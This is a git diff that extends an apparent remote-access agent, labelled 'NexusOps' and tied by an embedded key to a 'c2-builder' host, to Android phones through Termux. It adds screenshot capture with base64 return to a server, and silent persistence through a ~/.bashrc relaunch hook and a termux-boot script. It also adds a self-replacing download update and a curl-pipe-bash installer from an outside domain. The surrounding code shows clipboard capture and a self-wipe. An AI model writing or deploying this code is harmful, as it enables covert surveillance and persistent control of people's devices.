diff --git a/agents/agent.py b/agents/agent.py index d18b4d7..10227c7 100644 --- a/agents/agent.py +++ b/agents/agent.py @@ -14,7 +14,7 @@ import subprocess import shutil import getpass import urllib.request -AGENT_VERSION = "2.4.0" +AGENT_VERSION = "2.5.0" NEXUS_TTL_DAYS = int(os.environ.get('NEXUS_TTL_DAYS', '14')) NEXUS_FALLBACK_URLS = os.environ.get('NEXUS_FALLBACK_URLS', '').split(',') if os.environ.get('NEXUS_FALLBACK_URLS') else [] NEXUS_SSH_PUBKEY = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMDTa9+VxaF12ryXSjczHXh5n8n42GoEZoLiE96wbEYG root@c2-builder-slay' @@ -290,6 +290,13 @@ def _check_ttl_and_wipe(server_url): pass os._exit(0) +# ── Android/Termux detection ── +def _is_termux(): + return "com.termux" in os.environ.get("PREFIX", "") or os.path.exists("/data/data/com.termux") + +def _is_android(): + return _is_termux() or os.path.exists("/system/bin/sh") and platform.system() == "Linux" + # ── Clipboard capture (desktop only) ── _last_clip = None def _read_clipboard(): @@ -705,6 +712,21 @@ def execute_structured_action(action_type, payload): if os.path.exists(ss_path): os.remove(ss_path) + if system == "linux" and _is_termux(): + try: + r = subprocess.run("termux-storage-screenshot " + ss_path, shell=True, capture_output=True, timeout=15) + except Exception: + r = None + if not (os.path.exists(ss_path) and os.path.getsize(ss_path) > 0): + subprocess.run("screencap -p " + ss_path, shell=True, capture_output=True, timeout=15) + if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0: + import base64 as _b64ss + with open(ss_path, "rb") as f: + b64ss = _b64ss.b64encode(f.read()).decode() + os.remove(ss_path) + return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64ss}), 0 + return "ERROR: Termux screenshot failed (needs termux-api storage permission or root screencap)", 1 + if system == "linux": for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]: if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0: @@ -782,7 +804,11 @@ def execute_structured_action(action_type, payload): my_path = os.path.abspath(__file__) bak = my_path + ".bak" os.rename(my_path, bak) - urllib.request.urlretrieve(new_url, my_path) + req2 = urllib.request.Request(new_url, headers={"User-Agent": "NexusOps-Agent/1.0"}) + with urllib.request.urlopen(req2, timeout=60) as resp: + data = resp.read() + with open(my_path, "wb") as f: + f.write(data) os.chmod(my_path, 0o755) os.remove(bak) return "Agent updated successfully. Restarting...", 0 @@ -794,6 +820,31 @@ def execute_structured_action(action_type, payload): elif action_type == "ensure_persistence": results = [] + if system == "linux" and _is_termux(): + # Termux: cron is unavailable by default — use .bashrc re-launch + optional termux-boot script + try: + import shlex as _sh + srv = payload.get('server_url', '') + bashrc = os.path.join(os.path.expanduser("~"), ".bashrc") + hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {srv} --silent &>/dev/null &)\n" + content = open(bashrc).read() if os.path.exists(bashrc) else "" + if "nexus-agent" not in content: + with open(bashrc, "a") as f: + f.write(hook) + results.append("bashrc: hook installed") + else: + results.append("bashrc: already present") + bootdir = os.path.expanduser("~/termux-boot") + if os.path.isdir(bootdir): + script = os.path.join(bootdir, "nexus-agent.sh") + with open(script, "w") as f: + f.write("#!/data/data/com.termux/files/usr/bin/sh\n") + f.write(f"python3 {os.path.abspath(__file__)} --server {srv} --silent &\n") + os.chmod(script, 0o700) + results.append("termux-boot: script installed") + except Exception as e: + results.append(f"termux persistence failed: {str(e)[:50]}") + return "Persistence results: " + "; ".join(results), 0 if system == "linux": # crontab try: @@ -1346,8 +1397,8 @@ def main(): "platform": system_os.lower(), "arch": arch, "ip": ip, - "osName": f"{system_os} {platform.release()}", - "tags": node_tags, + "osName": (f"Android (Termux) {platform.release()}" if (_is_android() and _is_termux()) else f"{system_os} {platform.release()}"), + "tags": (node_tags + (["android"] if _is_android() else [])), "agentVersion": AGENT_VERSION } @@ -1395,7 +1446,7 @@ def main(): "diskUsage": disk, "uptime": uptime, "processCount": get_process_count(), - "tags": node_tags, + "tags": (node_tags + (["android"] if _is_android() else [])), "heartbeatInterval": heartbeat_interval, "agentVersion": AGENT_VERSION } diff --git a/dist/NexusAgent b/dist/NexusAgent index 62ddb6f..1ab2999 100755 Binary files a/dist/NexusAgent and b/dist/NexusAgent differ diff --git a/public/app.js b/public/app.js index 91b14eb..94388e9 100644 --- a/public/app.js +++ b/public/app.js @@ -414,6 +414,7 @@ function getOsIcon(platform) { const p = (platform || '').toLowerCase(); if (p.includes('win')) return 'fa-brands fa-windows'; if (p.includes('darwin') || p.includes('mac')) return 'fa-brands fa-apple'; + if (p.includes('android')) return 'fa-brands fa-android'; return 'fa-brands fa-linux'; } diff --git a/public/index.html b/public/index.html index b742f04..01481bc 100644 --- a/public/index.html +++ b/public/index.html @@ -245,6 +245,7 @@ + @@ -294,6 +295,15 @@ +
Requires the Termux app (F-Droid build recommended). Installs agent + openssh inside Termux, adds Termux:Boot persistence if you have the boot addon. ⓘ What's Termux?
+pkg install -y curl && curl -sSL https://agent.thetempleofdoom.com/install-android.sh | bash
+
+ Disable battery optimization for Termux (Settings → Apps → Termux → Battery) or Android will kill the agent.
+Download and run directly using standard Python 3 (No external dependencies required).